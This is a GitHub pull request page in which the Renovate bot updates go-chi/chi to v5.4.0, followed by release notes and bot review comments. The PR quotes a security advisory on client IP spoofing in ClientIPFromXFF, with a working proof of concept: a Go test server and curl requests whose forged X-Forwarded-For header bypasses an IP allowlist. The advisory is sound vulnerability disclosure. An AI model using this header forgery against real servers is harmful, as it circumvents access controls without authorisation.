Update module github.com/go-chi/chi/v5 to v5.4.0 [SECURITY] (main) by renovate[bot] · Pull Request #1935 · conforma/policy

renovate · 2026-10-25T08:57:51Z

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
github.com/go-chi/chi/v5	`v5.3.0` → `v5.4.0`

chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For

CVE-2026-114437 / GHSA-j6qf-3m9c-vwj3

More information

Details

Summary

ClientIPFromXFF skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP.

The attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N).

Preconditions: The application uses ClientIPFromXFF and makes the origin server reachable by an anonymous client outside the configured trusted-proxy CIDRs. No victim interaction is required.

Send GET /admin directly to the origin with no X-Forwarded-For header.
Observe a 403 Forbidden response and an empty derived client IP.
Repeat the request with X-Forwarded-For: 10.0.0.7, 198.51.100.42.
Observe 200 OK and client-ip="10.0.0.7". Expected: the untrusted direct peer prevents the forwarding chain from being accepted.

Details

The vulnerable code is ClientIPFromXFF in middleware/client_ip.go, lines 93-116 at the tested revision. It calls walkXFF with only the attacker-controlled header, skips every entry that matches a trusted prefix, and stores the first remaining address:

walkXFF(r.Header[xForwardedForHeader], func(v string) bool {
	ip, ok := parseHeaderAddr(v)
	if !ok {
		return true
	}
	if inAnyPrefix(ip, prefixes) {
		return false
	}
	found = ip
	return true
})

The function does not parse r.RemoteAddr before this walk. Consequently, the configured CIDRs identify trusted strings inside X-Forwarded-For, but do not establish that the immediate sender is one of those trusted proxies.

Proof of concept

Using Go 1.24 or later, create and run this minimal application against the tested revision:

mkdir chi-clientip-poc
cd chi-clientip-poc
go mod init clientip-poc
go get github.com/go-chi/chi/v5@167e1e3bd039d060696b99c8da4e876ae04f42c1
cat > main.go <<'EOF'
package main

import (
	"fmt"
	"log"
	"net/http"

	"github.com/go-chi/chi/v5"
	"github.com/go-chi/chi/v5/middleware"
)

const allowedIP = "10.0.0.7"

func main() {
	r := chi.NewRouter()
	r.Use(middleware.ClientIPFromXFF("198.51.100.0/24"))
	r.Get("/admin", func(w http.ResponseWriter, r *http.Request) {
		clientIP := middleware.GetClientIP(r.Context())
		if clientIP != allowedIP {
			http.Error(w, fmt.Sprintf("denied: tcp-peer=%q client-ip=%q", r.RemoteAddr, clientIP), http.StatusForbidden)
			return
		}
		fmt.Fprintf(w, "allowed: tcp-peer=%q client-ip=%q\n", r.RemoteAddr, clientIP)
	})

	log.Print("listening on http://127.0.0.1:3001")
	log.Fatal(http.ListenAndServe("127.0.0.1:3001", r))
}
EOF
go run .

The no-header control was rejected:

$ curl --http1.1 -i http://127.0.0.1:3001/admin
HTTP/1.1 403 Forbidden
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Tue, 06 Oct 2026 15:46:27 GMT
Content-Length: 48

denied: tcp-peer="127.0.0.1:54416" client-ip=""

Adding the forged chain authorized the same direct client:

$ curl --http1.1 -i -H 'X-Forwarded-For: 10.0.0.7, 198.51.100.42' http://127.0.0.1:3001/admin
HTTP/1.1 200 OK
Date: Tue, 06 Oct 2026 15:46:33 GMT
Content-Length: 57
Content-Type: text/plain; charset=utf-8

allowed: tcp-peer="127.0.0.1:54417" client-ip="10.0.0.7"

Impact

I made an anonymous direct connection from 127.0.0.1, supplied a header that ended in a different trusted-proxy CIDR, and caused the application to treat my client IP as the allowlisted 10.0.0.7. This changed the authorization decision from 403 Forbidden to 200 OK for the protected handler.

Severity

CVSS Score: 4.8 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

go-chi/chi (github.com/go-chi/chi/v5)

`v5.4.0`

Compare Source

What's Changed

Improve godoc: add links and titles by @dolmen in #1027
Add Clone method to Context by @VojtechVitek in #1157
middleware: ContentCharset should skip requests without a body by @VojtechVitek in #1158
Update compress middleware support Brotli support documentation by @sm3142 in #1007
fix: panic on Mount() when a router is mounted onto itself by @sk-sanjay01 in #1159
test(middleware): Improves test coverage by @nszilard in #700
Remove superfluous import aliases by @JRaspass in #1166
Bump minimum Go to 1.24, use b.Loop() by @JRaspass in #1164
Use slices.Backward where appropriate by @JRaspass in #1165
Replace "interface{}" with "any" by @JRaspass in #1167
Simplify chi.URLParam, call chi.URLParamFromCtx by @JRaspass in #1168
middleware: record response status when flushing by @jakezwang in #1174
middleware: honor Discard when flushing by @LeulTew in #1185
README: point middleware doc links to chi/v5 by @VojtechVitek in #1196
middleware: treat RemoteAddr as the rightmost hop in ClientIPFrom* by @VojtechVitek in #1214
- Fixes GHSA-j6qf-3m9c-vwj3

New Contributors

@dolmen made their first contribution in #1027
@sm3142 made their first contribution in #1007
@sk-sanjay01 made their first contribution in #1159
@nszilard made their first contribution in #700
@jakezwang made their first contribution in #1174
@LeulTew made their first contribution in #1185

Full Changelog: go-chi/chi@v5.3.2...v5.4.0

`v5.3.2`

Compare Source

What's Changed

feat(middleware): add text/markdown, text/csv, text/vtt to default compressible types by @VojtechVitek in #1151
docs: deployment recipe for middleware.ClientIPFromXFFTrustedProxies() by @VojtechVitek in #1111
fix: don't drop handlers that collide with a Mount()/Route() pattern by @VojtechVitek in #1148
Don't duplicate methods in Allow: header for 405 responses by @flimzy in #1029
fix(middleware): reject catch-all compress wildcards by @VojtechVitek in #1156
- middleware.NewCompressor(level, "/*") never worked and silently compressed nothing. Instead of turning it into a compress-everything catch-all (as proposed in #868 and #1121), we decided to reject both "/" and "/*" at construction and panic. Compressing every response wastes CPU on already-compressed types (zip, jpeg, png), which is why the middleware keeps a curated default list. Users should pass explicit content types.

Full Changelog: go-chi/chi@v5.3.1...v5.3.2

`v5.3.1`

Compare Source

What's Changed

Honor Discard() in httpFancyWriter.ReadFrom by @DucMinhNe in #1110
Tidy build directives by @JRaspass in #1113
feat(middleware): add text/xml and application/xml to default compressible types by @VojtechVitek in #1127
Fix defaultLogEntry.Panic not respecting NoColor setting by @doganarif in #1050
middleware: document printPrettyStack and harden NoColor panic test by @VojtechVitek in #1131
feat(mux): support http QUERY method ietf rfc10008 by @VojtechVitek in #1132
ci: pin GitHub Actions to full commit SHAs by @XananasX7 in #1116

New Contributors

@DucMinhNe made their first contribution in #1110
@doganarif made their first contribution in #1050
@XananasX7 made their first contribution in #1116

Full Changelog: go-chi/chi@v5.3.0...v5.3.1

Configuration

📅 Schedule: (UTC)

Branch creation
- At any time (no schedule defined)
Automerge
- At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

renovate · 2026-10-25T08:57:53Z

ℹ️ Artifact update notice

File name: go.mod

In order to perform the update(s) described in the table above, Renovate ran the go get command, which resulted in the following additional change(s):

2 additional dependencies were updated

Details:

Package	Change
`filippo.io/edwards25519`	`v1.1.1` -> `v1.2.0`
`go.step.sm/crypto`	`v0.75.0` -> `v0.81.0`

coderabbitai · 2026-10-25T08:58:03Z

No actionable comments were generated in the recent review.

Recent review info

Run configuration

Source mode: Auto
Repository: Unavailable
Branch: Unavailable
File: No configuration file from this repository applied
Commit: Unavailable
Layers: Organization UI
Review profile: CHILL
Plan: Enterprise
Run ID: 371161aa-d730-434b-a19b-d265e227d006

Commits

Reviewing files that changed from the base of the PR and between 5c7b191 and 5477ee3.

Files ignored due to path filters: 2

acceptance/go.sum is excluded by !**/*.sum
go.sum is excluded by !**/*.sum

Files selected for processing: 2

acceptance/go.mod
go.mod

Included review availability: This review used your included allowance. Your plan provides up to 12 included reviews per hour; 10 remain after this review.

Walkthrough

The root Go module updates three indirect dependency versions. The acceptance Go module updates the indirect github.com/go-chi/chi/v5 dependency.

Changes: Indirect dependency updates

Layer / File(s)	Summary
Update indirect dependency versions `go.mod`, `acceptance/go.mod`	`go.mod` updates `filippo.io/edwards25519`, `github.com/go-chi/chi/v5`, and `go.step.sm/crypto`. `acceptance/go.mod` updates `github.com/go-chi/chi/v5`.

Priority: Normal

Estimated code review effort: 1 (Trivial) | ~5 minutes

Change: Other

Suggested reviewers: acepresso, joejstuart

Merge Risk: Minimal · previous review 5477e

The dependency updates are consistent across both Go modules, with no identified merge-blocking risk.

Pre-merge checks: 5

Check name	Status	Explanation
Description check		The description clearly explains the dependency update and its security rationale. It does not use the template headings and does not provide a Jira ticket or repository validation results, but it is …
Title check		The title clearly identifies the github.com/go-chi/chi/v5 upgrade to v5.4.0 and its security purpose.
Docstring Coverage		No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check. Docstring coverage is scoped to functions touched by this diff. Analyzed 0 functions across 0…
Linked Issues check		Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check		Check skipped because no linked issues were found for this pull request.

Full details: Description check

Explanation

The description clearly explains the dependency update and its security rationale. It does not use the template headings and does not provide a Jira ticket or repository validation results, but it is otherwise complete.

Full details: Docstring Coverage

Explanation

No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check. Docstring coverage is scoped to functions touched by this diff. Analyzed 0 functions across 0 files. (2 skipped: 2 unsupported.)

Finishing Touches

🧪 Generate unit tests (beta)

Commit to this branch
Create a new PR

_{Comment @coderabbitai help to get the list of available commands.}

fullsend-ai-review · 2026-10-25T09:10:13Z

Risk Assessment: moderate (2/5)

Details

Bot-authored security dependency update (go-chi/chi v5.4.0) touching only go.mod/go.sum files; DEPENDENCY_FILES_CHANGED and zero TEST_FILE_RATIO push Tier 1 to 2.13, expected renovation churn drives Tier 2 to 2.25, yielding a weighted composite of 0.62×2.13 + 0.38×2.25 ≈ 2.17 → 2, anchored to the prior moderate score with no changed signals.

Previous run

Risk Assessment: moderate (2/5)

Details

Bot-authored security dependency update (go-chi/chi v5.4.0) touching only go.mod/go.sum files across main and acceptance modules; the 4 dependency files score 5 on DEPENDENCY_FILES_CHANGED elevating Tier 1, but all other signals are low, and standard renovation churn on these files is expected, yielding a moderate composite of 1.66 (0.62×1.63 + 0.38×1.71 ≈ 2).

fullsend-ai-review · 2026-10-25T09:10:15Z

Looks good to me

Previous run

Looks good to me

Labels: Renovate bot dependency version bump updating Go module files.

Superseded by updated review

renovate Bot requested a review from a team as a code owner October 25, 2026 08:57

renovate Bot added main renovate labels Oct 25, 2026

renovate Bot added the main label Oct 25, 2026

github-actions Bot added the size: XS label Oct 25, 2026

fullsend-ai-review Bot added the risk/moderate PR risk: moderate label Oct 25, 2026

This comment was marked as outdated.

Sign in to view

fullsend-ai-review Bot added ready-for-merge All reviewers approved — ready to merge dependencies Pull requests that update a dependency file go Pull requests that update Go code labels Oct 25, 2026

Acepresso approved these changes Oct 26, 2026

View reviewed changes

Update module github.com/go-chi/chi/v5 to v5.4.0 [SECURITY]

a19e28d

renovate Bot force-pushed the renovate/main-go-github.com-go-chi-chi-v5-vulnerability branch from 5477ee3 to a19e28d Compare October 26, 2026 22:15

fullsend-ai-review Bot approved these changes Oct 26, 2026

View reviewed changes

Navigation Menu

Repository navigation

Update module github.com/go-chi/chi/v5 to v5.4.0 [SECURITY] (main) - #1935

Update module github.com/go-chi/chi/v5 to v5.4.0 [SECURITY] (main)#1935
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/main-go-github.com-go-chi-chi-v5-vulnerability

renovate Bot commented Oct 25, 2026

Uh oh!

renovate Bot commented Oct 25, 2026

Uh oh!

coderabbitai Bot commented Oct 25, 2026 •

edited

Loading

Uh oh!

fullsend-ai-review Bot commented Oct 25, 2026 •

edited

Loading

Uh oh!

fullsend-ai-review Bot commented Oct 25, 2026 •

edited

Loading

Uh oh!

This comment was marked as outdated.

Uh oh!

This branch has not been deployed

Reviewers

Uh oh!

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

Conversation

renovate Bot commented Oct 25, 2026

chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For

Details

Summary

Details

Proof of concept

Impact

Severity

References

Release Notes

v5.4.0

What's Changed

New Contributors

v5.3.2

What's Changed

v5.3.1

What's Changed

New Contributors

Configuration

Uh oh!

renovate Bot commented Oct 25, 2026

ℹ️ Artifact update notice

File name: go.mod

Uh oh!

coderabbitai Bot commented Oct 25, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

fullsend-ai-review Bot commented Oct 25, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

fullsend-ai-review Bot commented Oct 25, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

This comment was marked as outdated.

Uh oh!

This branch has not been deployed

Reviewers

Uh oh!

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

`v5.4.0`

`v5.3.2`

`v5.3.1`

coderabbitai Bot commented Oct 25, 2026 •

edited

Loading

fullsend-ai-review Bot commented Oct 25, 2026 •

edited

Loading

fullsend-ai-review Bot commented Oct 25, 2026 •

edited

Loading